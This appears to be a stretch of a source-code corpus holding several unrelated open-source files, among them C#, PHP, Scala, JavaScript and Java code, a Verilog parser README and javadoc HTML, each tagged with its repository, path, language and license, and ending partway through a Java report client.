/* Copyright (c) 2014 <a href="http://www.gutgames.com">James Craig</a> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.*/ using Utilities.ORM.BaseClasses; using Utilities.ORM.Interfaces; using Utilities.ORM.Manager.QueryProvider.Interfaces; using Xunit; namespace UnitTests.ORM.Manager.QueryProvider { public class Manager : DatabaseBaseClass { [Fact] public void Batch() { Assert.NotNull(new Utilities.ORM.Manager.QueryProvider.Manager(Utilities.IoC.Manager.Bootstrapper.ResolveAll<IQueryProvider>()).Batch(TestDatabaseSource)); } [Fact] public void Create() { new Utilities.ORM.Manager.QueryProvider.Manager(Utilities.IoC.Manager.Bootstrapper.ResolveAll<IQueryProvider>()); Assert.Equal("Query providers: LDAP,System.Data.SqlClient\r\n", new Utilities.ORM.Manager.QueryProvider.Manager(Utilities.IoC.Manager.Bootstrapper.ResolveAll<IQueryProvider>()).ToString()); } [Fact] public void Generate() { Assert.NotNull(new Utilities.ORM.Manager.QueryProvider.Manager(Utilities.IoC.Manager.Bootstrapper.ResolveAll<IQueryProvider>()).Generate<TestClass>(TestDatabaseSource, null, null)); } public class TestClass { public int ID { get; set; } } public class TestClassDatabase : IDatabase { public bool Audit { get { return false; } } public string Name { get { return "Data Source=localhost;Initial Catalog=TestDatabase3;Integrated Security=SSPI;Pooling=false"; } } public int Order { get { return 0; } } public bool Readable { get { return true; } } public bool Update { get { return false; } } public bool Writable { get { return false; } } } public class TestClassMapping : MappingBaseClass<TestClass, TestClassDatabase> { public TestClassMapping() { ID(x => x.ID).SetFieldName("ID").SetAutoIncrement(); } } } }
JaCraig/Craig-s-Utility-Library
UnitTests/ORM/Manager/QueryProvider/Manager.cs
C#
mit
3,303
<?php /* * This file is part of the XiideaEasyAuditBundle package. * * (c) Xiidea <http://www.xiidea.net> * * This source file is subject to the MIT license that is bundled * with this source code in the file LICENSE. */ namespace Xiidea\EasyAuditBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; class MonologLoggerPass implements CompilerPassInterface { public function process(ContainerBuilder $container) { if (false === $container->hasAlias('logger')) { $container->removeDefinition('xiidea.easy_audit.mono_logger.service'); return; } $definition = $container->getDefinition('xiidea.easy_audit.mono_logger.service'); $definition->setPublic(true); } }
xiidea/EasyAuditBundle
DependencyInjection/Compiler/MonologLoggerPass.php
PHP
mit
858
using System; using System.Collections.Generic; using Voucherify.Core.Serialization; namespace Voucherify.Core.Extensions { public static class ListExtensions { public static string ToString<T>(List<T> list){ if (list != null) { List<string> result = new List<string>(); foreach (T element in list) { result.Add(element.ToString()); } return "[" + String.Join(",", result.ToArray()) + "]"; } return "null"; } } }
voucherifyio/voucherify-dotNET-sdk
src/Voucherify/Core/Extensions/ListExtensions.cs
C#
mit
582
package boatcraft.api.modifiers import java.util.HashMap import scala.collection.JavaConversions.asScalaSet import net.minecraft.entity.Entity import net.minecraft.nbt.NBTTagCompound import net.minecraft.nbt.NBTTagList import net.minecraft.world.World import net.minecraftforge.common.IExtendedEntityProperties import net.minecraftforge.common.util.Constants class ExtendedBoat extends IExtendedEntityProperties { var mountables = new HashMap[Mountable.Position, String] def init(boat: Entity, world: World) { } def loadNBTData(tag: NBTTagCompound) { println("Loading Extended Boat data!") var list = tag.getTagList("mountables", Constants.NBT.TAG_COMPOUND) for (i <- 0 until list.tagCount) { var nbt = list.getCompoundTagAt(i) mountables.put(Mountable.Position withName nbt.getString("pos"), nbt.getString("name")) } } def saveNBTData(tag: NBTTagCompound) { println("Saving Extended Boat data!") var list = new NBTTagList for (entry <- mountables.entrySet) { var nbt = new NBTTagCompound nbt.setString("pos", entry.getKey toString) nbt.setString("name", entry.getValue) list appendTag nbt } tag.setTag("mountables", list) } def getMount(pos: Mountable.Position) = mountables get pos def setMount(pos: Mountable.Position, mount: String) = mountables.put(pos, mount) } object ExtendedBoat { val NAME = "BoatCraft-ExtendedBoatProps" }
Open-Code-Developers/BoatCraft
src/api/scala/boatcraft/api/modifiers/ExtendedBoat.scala
Scala
mit
1,411
import { combineReducers } from 'redux'; import todos from './todos'; import filter from './filter'; import editing from './editing'; const rootReducer = combineReducers({ todos, filter, editing, }); export default rootReducer;
sylvaindethier/redux-todomvc
src/reducers/index.js
JavaScript
mit
237
# Verilog Parser [![Documentation](https://codedocs.xyz/ben-marshall/verilog-parser.svg)](https://codedocs.xyz/ben-marshall/verilog-parser/) [![Build Status](https://travis-ci.org/ben-marshall/verilog-parser.svg?branch=master)](https://travis-ci.org/ben-marshall/verilog-parser/branches) [![Coverage Status](https://coveralls.io/repos/github/ben-marshall/verilog-parser/badge.svg?branch=master)](https://coveralls.io/github/ben-marshall/verilog-parser?branch=master) ![Licence: MIT](https://img.shields.io/badge/License-MIT-blue.svg) This repository contains a flex / bison parser for the IEEE 1364-2001 Verilog Standard. - [Getting Started](#getting-started) - [Testing](#testing) - [Contributing](#contributing) - [Design Choices](#design-choices) - [Todo List](#todo) - [Tool Wishlist](#wishlist) --- ## Getting Started This will get you going workspace wise. ```sh $> make all $> make test-all ``` This will download the test suite files, setup the build directory, and compile the parser, library and test app. To start using the parser in your own code, take a look at [main.c](./src/main.c) which is a simple demonstration app used for testing and coverage. The basic code which you need is something like this: ```C // Initialise the parser. verilog_parser_init(); // Open A File handle to read data in. FILE * fh = fopen("my_verilog_file.v", "r"); // Parse the file and store the result. int result = verilog_parse_file(fh); if(result == 0) printf("Parse successful\n"); else printf("Parse failed\n"); fclose(fh); ``` You can keep calling `verilog_parse_file(fh)` on as many different file handles as you like to build up a multi-file project AST representation. The parser will automatically follow any `include` directives it finds. For an example of using the library in a real*ish* situation, the [verilog-dot](https://github.com/ben-marshall/verilog-dot) project shows how the library can be integrated into an existing project and used. ## Testing The test suite is comprised of example code taken from the fantastic [ASIC World](http://www.asic-world.com/) tutorial on Verilog. The idea being that by using a well-known and comprehensive set of tutorial examples, almost all of the syntactic features of the language can be hit very easily with little effort. The repository also contains an archive of verilog source code taken from the [OpenSPARCT1](http://www.oracle.com/technetwork/systems/opensparc/opensparc-t1-page-1444609.html) microprocessor from Oracle. This archive is unpacked into the `tests/` directory when `make setup` is run, and ensures that the parser is able to handle a *real-life* source base in terms of scale and complexity. The full workspace environment required to run or analyse the OpenSPARCT1 is not provided, the files only demonstrate the ability to correctly parse a large project, and handle the various internal header files and preprocessor definitions. ## Contributing Of-course, the current test suite does not test **everything** and I expect there to be awkward bugs. This is the first time I have written a parser of this size and complexity. I have set up automatic coverage collection after each CI build, this gives a good indication of which parts of the code are tested and dependable. Hitting 100% coverage for a parser is a *pain*, but hopefully over time it will tend that way. The current situation is that all of the verilog language features that are used commonly are tested for. The main missing bits are due to a lack of test cases for user defined primitives (UDPs). If you find a bug, or otherwise want to contribute, then please don't hesitate to file a pull request. If you have found a bug, please add a test for the bug in the `tests/` folder. This should trigger the bug in the original code, and ideally, not trigger in you're submitted fix! I'm open to people just submitting bugs as well, but it might take longer for me to get round to fixing it! There is more information on how to help in the [contributing](CONTRIBUTING.md) guide. ## Design Choices ### Why C, why not something more modern? This comes down to who will use this tool, and who will develop this tool. Ideally, these are the same people. The current demographic of people working in ASIC / RTL design is that of (please excuse my generalising) electronic engineers, with (again, sorry) little experience of recent programming language technologies like Haskell (great for parsing and formal/state-based assertions) and Python (perl is still king in ASIC design flows, but this is changing). Further, the size and complexity of many RTL designs means you need a language that has lots of low-level acceleration potential, as well as being tried-and-tested. C meets most of these points, while also being something that electronics engineers are more likely to be familiar with and comfortable using. ### Why flex/bison, why not Boost::Sprint, ANTLR, or something custom? Similar to the above answer. These are tools that are *very* old, and *very* stable. They are more likely to be available and supported for the kinds of development environments RTL designers work in which are often at least a decade old. What flex and bison loose in terms of nice features, syntactic sugar, and, sadly, ease of use - they make up for in stability and likelihood of familiarity for the people I hope will use this project. Many of the design decisions around this project have been equal parts social and engineering in their justification. ### Why not adapt an existing parser? Good question. I looked at the parsers found in [Icarus Verilog](http://iverilog.icarus.com/) and [yosys](http://www.clifford.at/yosys/) but found that while they were excellent in and of themselves, they were too well adapted to their end use to be made into a general purpose parser. They did inform me well on how to parse the trickier parts of the grammar though, and I certainly cannot fault them in any other way! This parser has been written to correspond very closely to the IEEE Verilog 2001 Syntax specification. This means it is longer (by line count) but much easier to understand and relate to the original specification. For example, each grammar rule in the [Bison file](./verilog_parser.y) matches almost exactly with it's namesake in the IEEE spec. --- ## Todo There are some things that the parser does not support: - System-Verilog. Sorry folks, its another language completely. This parser should serve as a very good starting point if you want to build one though, since Verilog is a subset of System-Verilog. - System timing checks. See Annex 7.5.1 of the specification for what this omits. It hopefully won't be long before I get round to adding it though. ## Wishlist This is a wishlist of tools that I would like to use the parser in. If anyone else would like to use the parser as the basis for their own tools like this, I am more than happy to help! - A code indenter / style format checker. - A pre-processed source checker (expand macros and parameters, etc) for easy browsing of generic logic blocks and cores. - Something to highlight when signals cross clock domains. - Critical path identifier (something which doesn't take 20 minuets to run on a grid engine) - A switching probability analysis tool. - This could even feed into a rough power & energy estimation tool. - A simple hierarchy visualiser, which you can feed all your project files into and which will spit out a digested view of the module hierarchy. - Proper Doxygen support for Verilog, or failing that, a [Doxygen like tool](https://github.com/ben-marshall/verilog-doc) for Verilog
ben-marshall/verilog-parser
README.md
Markdown
mit
7,667
# jison_example Jison usage example with HTML
mwebler/jison_example
README.md
Markdown
mit
46
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_51) on Wed Oct 22 15:42:18 EST 2014 --> <title>second_tier</title> <meta name="date" content="2014-10-22"> <link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="second_tier"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-files/index-1.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../first_tier/package-summary.html">Prev Package</a></li> <li><a href="../third_tier/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../index.html?second_tier/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h1 title="Package" class="title">Package&nbsp;second_tier</h1> </div> <div class="contentContainer"> <ul class="blockList"> <li class="blockList"> <table class="packageSummary" border="0" cellpadding="3" cellspacing="0" summary="Class Summary table, listing classes, and an explanation"> <caption><span>Class Summary</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Class</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="../second_tier/DataStorage.html" title="class in second_tier">DataStorage</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../second_tier/PurchaseReminder.html" title="class in second_tier">PurchaseReminder</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../second_tier/Reminder.html" title="class in second_tier">Reminder</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="../second_tier/ReminderWorker.html" title="class in second_tier">ReminderWorker</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><a href="../second_tier/UniReminder.html" title="class in second_tier">UniReminder</a></td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> </ul> </div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../overview-summary.html">Overview</a></li> <li class="navBarCell1Rev">Package</li> <li>Class</li> <li><a href="package-use.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../deprecated-list.html">Deprecated</a></li> <li><a href="../index-files/index-1.html">Index</a></li> <li><a href="../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../first_tier/package-summary.html">Prev Package</a></li> <li><a href="../third_tier/package-summary.html">Next Package</a></li> </ul> <ul class="navList"> <li><a href="../index.html?second_tier/package-summary.html" target="_top">Frames</a></li> <li><a href="package-summary.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
shane-williams-dev/Reminder-App
doc/second_tier/package-summary.html
HTML
mit
5,023
version https://git-lfs.github.com/spec/v1 oid sha256:9fa6283b0a86ec7d077cdc3a760c8c32241934525b1e6783f9ba380f639c1445 size 19603
yogeshsaroya/new-cdnjs
ajax/libs/ratchet/2.0.1/css/ratchet.min.css
CSS
mit
130
'use strict'; var User = require('./user.model.js'); var config = require('../config'); var request = require('request'); var jwt = require('jwt-simple'); var authUtils = require('./authUtils'); exports.authenticate = function (req, res) { var accessTokenUrl = 'https://accounts.google.com/o/oauth2/token'; var peopleApiUrl = 'https://www.googleapis.com/plus/v1/people/me/openIdConnect'; var params = { code: req.body.code, client_id: req.body.clientId, client_secret: config.GOOGLE_SECRET, redirect_uri: req.body.redirectUri, grant_type: 'authorization_code' }; // Step 1. Exchange authorization code for access token. request.post(accessTokenUrl, { json: true, form: params }, function(err, response, token) { var accessToken = token.access_token; var headers = { Authorization: 'Bearer ' + accessToken }; // Step 2. Retrieve profile information about the current user. request.get({ url: peopleApiUrl, headers: headers, json: true }, function(err, response, profile) { // Step 3a. Link user accounts. if (req.headers.authorization) { User.findOne({ google: profile.sub }, function(err, existingUser) { if (existingUser) { return res.status(409).send({ message: 'There is already a Google account that belongs to you' }); } var token = req.headers.authorization.split(' ')[1]; var payload = jwt.decode(token, config.TOKEN_SECRET); User.findById(payload.sub, function(err, user) { if (!user) { return res.status(400).send({ message: 'User not found' }); } user.google = profile.sub; user.picture = user.picture || profile.picture.replace('sz=50', 'sz=200'); user.displayName = user.displayName || profile.name; user.save(function() { var token = authUtils.createJWT(user); res.send({ token: token }); }); }); }); } else { // Step 3b. Create a new user account or return an existing one. User.findOne({ google: profile.sub }, function(err, existingUser) { if (existingUser) { return res.send({ token: authUtils.createJWT(existingUser) }); } var user = new User(); user.google = profile.sub; user.picture = profile.picture.replace('sz=50', 'sz=200'); user.displayName = profile.name; user.save(function(err) { var token = authUtils.createJWT(user); res.send({ token: token }); }); }); } }); }); }
keslavi/Sandbox1
server/auth/google.js
JavaScript
mit
2,633
# `bulk::multi_partitioning::multi_rank` ```cpp index_type<G> multi_rank(int t); ``` Convert a standard rank to a multi rank. ## Parameters - `t`: the rank to convert ## Return value - `index_type<G>`: the corresponding multi rank ## See also - [`multi_partitioning::rank`](rank.md)
jwbuurlage/Bulk
docs/pages/api/multi_partitioning/multi_rank.md
Markdown
mit
291
/** * Copyright (c) 2012-2016 André Bargull * Alle Rechte vorbehalten / All Rights Reserved. Use is subject to license terms. * * <https://github.com/anba/es6draft> */ package com.github.anba.es6draft.compiler; import com.github.anba.es6draft.ast.Script; import com.github.anba.es6draft.compiler.CodeGenerator.ScriptName; import com.github.anba.es6draft.compiler.assembler.Code.MethodCode; import com.github.anba.es6draft.compiler.assembler.MethodName; import com.github.anba.es6draft.compiler.assembler.TryCatchLabel; import com.github.anba.es6draft.compiler.assembler.Type; import com.github.anba.es6draft.compiler.assembler.Value; import com.github.anba.es6draft.compiler.assembler.Variable; import com.github.anba.es6draft.runtime.DeclarativeEnvironmentRecord; import com.github.anba.es6draft.runtime.ExecutionContext; import com.github.anba.es6draft.runtime.LexicalEnvironment; import com.github.anba.es6draft.runtime.Realm; /** * Generates bytecode for the script entry method. */ final class ScriptCodeGenerator { private static final class Methods { // ExecutionContext static final MethodName ExecutionContext_newEvalExecutionContext = MethodName.findStatic( Types.ExecutionContext, "newEvalExecutionContext", Type.methodType(Types.ExecutionContext, Types.ExecutionContext, Types.Script, Types.LexicalEnvironment, Types.LexicalEnvironment)); static final MethodName ExecutionContext_newScriptExecutionContext = MethodName.findStatic( Types.ExecutionContext, "newScriptExecutionContext", Type.methodType(Types.ExecutionContext, Types.Realm, Types.Script)); static final MethodName ExecutionContext_getLexicalEnvironment = MethodName.findVirtual( Types.ExecutionContext, "getLexicalEnvironment", Type.methodType(Types.LexicalEnvironment)); static final MethodName ExecutionContext_setLexicalEnvironment = MethodName.findVirtual( Types.ExecutionContext, "setLexicalEnvironment", Type.methodType(Type.VOID_TYPE, Types.LexicalEnvironment)); static final MethodName ExecutionContext_getVariableEnvironment = MethodName.findVirtual( Types.ExecutionContext, "getVariableEnvironment", Type.methodType(Types.LexicalEnvironment)); static final MethodName ExecutionContext_getRealm = MethodName .findVirtual(Types.ExecutionContext, "getRealm", Type.methodType(Types.Realm)); // class: LexicalEnvironment static final MethodName LexicalEnvironment_newDeclarativeEnvironment = MethodName .findStatic(Types.LexicalEnvironment, "newDeclarativeEnvironment", Type.methodType( Types.LexicalEnvironment, Types.LexicalEnvironment)); // Realm static final MethodName Realm_getGlobalEnv = MethodName.findVirtual(Types.Realm, "getGlobalEnv", Type.methodType(Types.LexicalEnvironment)); static final MethodName Realm_getScriptContext = MethodName.findVirtual(Types.Realm, "getScriptContext", Type.methodType(Types.ExecutionContext)); static final MethodName Realm_setScriptContext = MethodName.findVirtual(Types.Realm, "setScriptContext", Type.methodType(Type.VOID_TYPE, Types.ExecutionContext)); } private static final int EXECUTION_CONTEXT = 0; private static final int SCRIPT = 1; private static final class ScriptEvalMethodGenerator extends InstructionVisitor { ScriptEvalMethodGenerator(MethodCode method) { super(method); } @Override public void begin() { super.begin(); setParameterName("callerContext", EXECUTION_CONTEXT, Types.ExecutionContext); setParameterName("script", SCRIPT, Types.Script); } } private final CodeGenerator codegen; ScriptCodeGenerator(CodeGenerator codegen) { this.codegen = codegen; } void generate(Script node) { InstructionVisitor mv = new ScriptEvalMethodGenerator( codegen.newMethod(node, ScriptName.Eval)); mv.lineInfo(node); mv.begin(); if (node.isScripting()) { generateScriptingEvaluation(node, mv); } else if (node.isEvalScript()) { generateEvalScriptEvaluation(node, mv); } else { generateGlobalScriptEvaluation(node, mv); } mv.end(); } /** * 15.1.7 Runtime Semantics: ScriptEvaluation * * @param node * the script node * @param mv * the instruction visitor */ private void generateGlobalScriptEvaluation(Script node, InstructionVisitor mv) { Variable<ExecutionContext> callerContext = mv.getParameter(EXECUTION_CONTEXT, ExecutionContext.class); Variable<com.github.anba.es6draft.Script> script = mv.getParameter(SCRIPT, com.github.anba.es6draft.Script.class); Variable<Realm> realm = mv.newVariable("realm", Realm.class); Variable<ExecutionContext> scriptCxt = mv.newVariable("scriptCxt", ExecutionContext.class); Variable<ExecutionContext> oldScriptContext = mv.newVariable("oldScriptContext", ExecutionContext.class); Variable<Object> result = mv.newVariable("result", Object.class); Variable<Throwable> throwable = mv.newVariable("throwable", Throwable.class); getRealm(callerContext, realm, mv); /* steps 1-2 (not applicable) */ /* steps 3-7 */ newScriptExecutionContext(realm, script, scriptCxt, mv); /* step 8 */ getScriptContext(realm, oldScriptContext, mv); /* step 9 */ setScriptContext(realm, scriptCxt, mv); TryCatchLabel startFinally = new TryCatchLabel(), endFinally = new TryCatchLabel(); TryCatchLabel handlerFinally = new TryCatchLabel(); mv.mark(startFinally); { /* step 10 */ mv.load(scriptCxt); mv.invoke(codegen.methodDesc(node, ScriptName.Init)); /* steps 11-12 */ mv.load(scriptCxt); mv.invoke(codegen.methodDesc(node, ScriptName.Code)); mv.store(result); /* steps 13-15 */ setScriptContext(realm, oldScriptContext, mv); /* step 16 */ mv.load(result); mv._return(); } mv.mark(endFinally); // Exception: Restore script context and then rethrow exception mv.finallyHandler(handlerFinally); mv.store(throwable); /* steps 13-15 */ setScriptContext(realm, oldScriptContext, mv); mv.load(throwable); mv.athrow(); mv.tryFinally(startFinally, endFinally, handlerFinally); } /** * 18.2.1.1 Runtime Semantics: PerformEval( x, evalRealm, strictCaller, direct) * * @param node * the script node * @param mv * the instruction visitor */ private void generateEvalScriptEvaluation(Script node, InstructionVisitor mv) { Variable<ExecutionContext> callerContext = mv.getParameter(EXECUTION_CONTEXT, ExecutionContext.class); Variable<com.github.anba.es6draft.Script> script = mv.getParameter(SCRIPT, com.github.anba.es6draft.Script.class); Variable<ExecutionContext> evalCxt = mv.newVariable("evalCxt", ExecutionContext.class); Variable<? extends LexicalEnvironment<?>> varEnv = mv .newVariable("varEnv", LexicalEnvironment.class).uncheckedCast(); Variable<? extends LexicalEnvironment<?>> lexEnv = mv .newVariable("lexEnv", LexicalEnvironment.class).uncheckedCast(); // Optimization: Skip creating lexical environment if no declarations are present. boolean noDeclarations = node.getScope().lexicallyDeclaredNames().isEmpty(); if (node.isStrict()) { noDeclarations &= node.getScope().varDeclaredNames().isEmpty(); } /* steps 1-5 (not applicable) */ /* steps 6-7 */ boolean strictEval = node.isStrict(); /* step 8 (omitted) */ /* steps 9-10 */ if (node.isDirectEval()) { /* step 9 */ getVariableEnvironment(callerContext, varEnv, mv); if (noDeclarations) { getLexicalEnvironment(callerContext, lexEnv, mv); } else { newDeclarativeEnvironment(callerContext, lexEnv, mv); } } else { /* step 10 */ getGlobalEnv(callerContext, varEnv, mv); if (noDeclarations) { lexEnv = varEnv; } else { newDeclarativeEnvironment(varEnv, lexEnv, mv); } } /* step 11 */ if (strictEval) { varEnv = lexEnv; } /* steps 12-17 */ newEvalExecutionContext(callerContext, script, varEnv, lexEnv, evalCxt, mv); /* step 18 */ mv.load(evalCxt); mv.invoke(codegen.methodDesc(node, ScriptName.Init)); /* steps 19-23 */ mv.load(evalCxt); mv.invoke(codegen.methodDesc(node, ScriptName.Code)); mv._return(); } private void generateScriptingEvaluation(Script node, InstructionVisitor mv) { Variable<ExecutionContext> context = mv.getParameter(EXECUTION_CONTEXT, ExecutionContext.class); Variable<LexicalEnvironment<DeclarativeEnvironmentRecord>> lexEnv = mv .newVariable("lexEnv", LexicalEnvironment.class).uncheckedCast(); // Create an empty declarative environment for the lexical bindings. newDeclarativeEnvironment(context, lexEnv, mv); // Replace the lexical environment component. setLexicalEnvironment(context, lexEnv, mv); // Create local bindings. mv.load(context); mv.invoke(codegen.methodDesc(node, ScriptName.Init)); // Evaluate the actual script code. mv.load(context); mv.invoke(codegen.methodDesc(node, ScriptName.Code)); mv._return(); } /** * Emit: {@code realm = context.getRealm()} */ private void getRealm(Variable<ExecutionContext> context, Variable<Realm> realm, InstructionVisitor mv) { mv.load(context); mv.invoke(Methods.ExecutionContext_getRealm); mv.store(realm); } /** * Emit: {@code context = ExecutionContext.newScriptExecutionContext(realm, script)} */ private void newScriptExecutionContext(Variable<Realm> realm, Variable<com.github.anba.es6draft.Script> script, Variable<ExecutionContext> context, InstructionVisitor mv) { mv.load(realm); mv.load(script); mv.invoke(Methods.ExecutionContext_newScriptExecutionContext); mv.store(context); } /** * Emit: * {@code context = ExecutionContext.newEvalExecutionContext(callerContext, script, varEnv, lexEnv)} */ private void newEvalExecutionContext(Variable<ExecutionContext> callerContext, Variable<com.github.anba.es6draft.Script> script, Variable<? extends LexicalEnvironment<?>> varEnv, Variable<? extends LexicalEnvironment<?>> lexEnv, Variable<ExecutionContext> context, InstructionVisitor mv) { mv.load(callerContext); mv.load(script); mv.load(varEnv); mv.load(lexEnv); mv.invoke(Methods.ExecutionContext_newEvalExecutionContext); mv.store(context); } /** * Emit: {@code env = cx.getRealm().getGlobalEnv()} */ private void getGlobalEnv(Variable<ExecutionContext> context, Variable<? extends LexicalEnvironment<?>> env, InstructionVisitor mv) { mv.load(context); mv.invoke(Methods.ExecutionContext_getRealm); mv.invoke(Methods.Realm_getGlobalEnv); mv.store(env); } /** * Emit: {@code realm = realm.getScriptContext()} */ private void getScriptContext(Variable<Realm> realm, Variable<ExecutionContext> context, InstructionVisitor mv) { mv.load(realm); mv.invoke(Methods.Realm_getScriptContext); mv.store(context); } /** * Emit: {@code realm.setScriptContext(context)} */ private void setScriptContext(Variable<Realm> realm, Variable<ExecutionContext> context, InstructionVisitor mv) { mv.load(realm); mv.load(context); mv.invoke(Methods.Realm_setScriptContext); } /** * Emit: {@code env = LexicalEnvironment.newDeclarativeEnvironment(outer)} */ private void newDeclarativeEnvironment(Value<? extends LexicalEnvironment<?>> outer, Variable<? extends LexicalEnvironment<?>> env, InstructionVisitor mv) { mv.load(outer); mv.invoke(Methods.LexicalEnvironment_newDeclarativeEnvironment); mv.store(env); } /** * Emit: * {@code env = LexicalEnvironment.newDeclarativeEnvironment(context.getLexicalEnvironment())} */ private void newDeclarativeEnvironment(Variable<ExecutionContext> context, Variable<? extends LexicalEnvironment<?>> env, InstructionVisitor mv) { mv.load(context); mv.invoke(Methods.ExecutionContext_getLexicalEnvironment); mv.invoke(Methods.LexicalEnvironment_newDeclarativeEnvironment); mv.store(env); } /** * Emit: {@code env = context.getVariableEnvironment()} */ private void getVariableEnvironment(Variable<ExecutionContext> context, Variable<? extends LexicalEnvironment<?>> env, InstructionVisitor mv) { mv.load(context); mv.invoke(Methods.ExecutionContext_getVariableEnvironment); mv.store(env); } /** * Emit: {@code env = context.getLexicalEnvironment()} */ private void getLexicalEnvironment(Variable<ExecutionContext> context, Variable<? extends LexicalEnvironment<?>> env, InstructionVisitor mv) { mv.load(context); mv.invoke(Methods.ExecutionContext_getLexicalEnvironment); mv.store(env); } /** * Emit: {@code context.setLexicalEnvironment(env)} */ private void setLexicalEnvironment(Variable<ExecutionContext> context, Variable<LexicalEnvironment<DeclarativeEnvironmentRecord>> env, InstructionVisitor mv) { mv.load(context); mv.load(env); mv.invoke(Methods.ExecutionContext_setLexicalEnvironment); } }
jugglinmike/es6draft
src/main/java/com/github/anba/es6draft/compiler/ScriptCodeGenerator.java
Java
mit
14,656
using System.Collections.Generic; using System.Collections.ObjectModel; namespace JeffBot2LAPI.Areas.HelpPage.ModelDescriptions { public class ParameterDescription { public ParameterDescription() { Annotations = new Collection<ParameterAnnotation>(); } public Collection<ParameterAnnotation> Annotations { get; private set; } public string Documentation { get; set; } public string Name { get; set; } public ModelDescription TypeDescription { get; set; } } }
ARMmaster17/JeffBot2
JeffBot2/JeffBot2LAPI/Areas/HelpPage/ModelDescriptions/ParameterDescription.cs
C#
mit
543
package name.reidmiller.iesoreports.client; import java.io.IOException; import java.net.MalformedURLException; import java.util.ArrayList; import java.util.Date; import java.util.List; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import ca.ieso.reports.schema.predispmkttotals.DocBody; import ca.ieso.reports.schema.predispmkttotals.DocHeader; import ca.ieso.reports.schema.predispmkttotals.Document; public class PredispatchMarketTotalsClient extends DailyReportClient { private Logger logger = LogManager.getLogger(this.getClass()); public PredispatchMarketTotalsClient(String defaultUrlString, String jaxb2ContextPath) { super.setDefaultUrlString(defaultUrlString); super.setJaxb2ContextPath(jaxb2ContextPath); } /** * Unmarshals XML text from {@link #getDefaultUrlString()} into a * {@link Document} using JAXB2. This method is a wrapper around * {@link #getDocument(String)}. * * @return {@link Document} * @throws MalformedURLException * @throws IOException * */ public Document getDefaultDocument() throws MalformedURLException, IOException, ClassCastException { return this.getDocument(super.getDefaultUrlString()); } /** * This method uses {@link #getDefaultUrlString()} to request the current * (default) {@link DocBody}. * * @return {@link DocBody} for the current (default) report. * @throws MalformedURLException * * @throws IOException */ public DocBody getDefaultDocBody() throws MalformedURLException, IOException { Document document = this.getDefaultDocument(); return this.getDocBody(document); } /** * This method uses {@link #getDefaultUrlString()} to request the current * (default) {@link DocHeader}. * * @return {@link DocHeader} 